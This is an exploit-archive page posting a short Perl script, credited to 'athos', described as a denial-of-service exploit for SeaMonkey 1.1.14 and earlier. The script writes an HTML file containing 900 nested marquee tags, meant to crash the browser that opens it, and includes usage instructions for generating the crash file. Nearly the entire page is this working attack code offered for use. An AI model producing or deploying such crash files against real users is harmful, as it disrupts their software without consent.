Home / os / win10

seamonkey1114-dos.txt

Posted on 07 January 2009

#!/usr/bin/perl # SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit # by athos - staker[at]hotmail[dot]it # tested on ubuntu 8.10 / slackware 12.2 # thanks to SirDark because he has tested on slackware my $data = undef; my $file = shift or &usage; exploit(); sub exploit { $data .= "<html><head><title>"; $data .= "SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit"; $data .= "</title></head><body>"; $data .= "<marquee>" x900; $data .= "</body></html>"; open(FILE,'>',$file) or die('file error'); print FILE $data; close(FILE); } sub usage { print " +---------------------------------------------------------+ ". " | SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit | ". " +---------------------------------------------------------+ ". " by athos - staker[at]hotmail[dot]it ". " Usage ". " perl $0 [file name] ". " perl $0 crash.html "; exit; }

 

TOP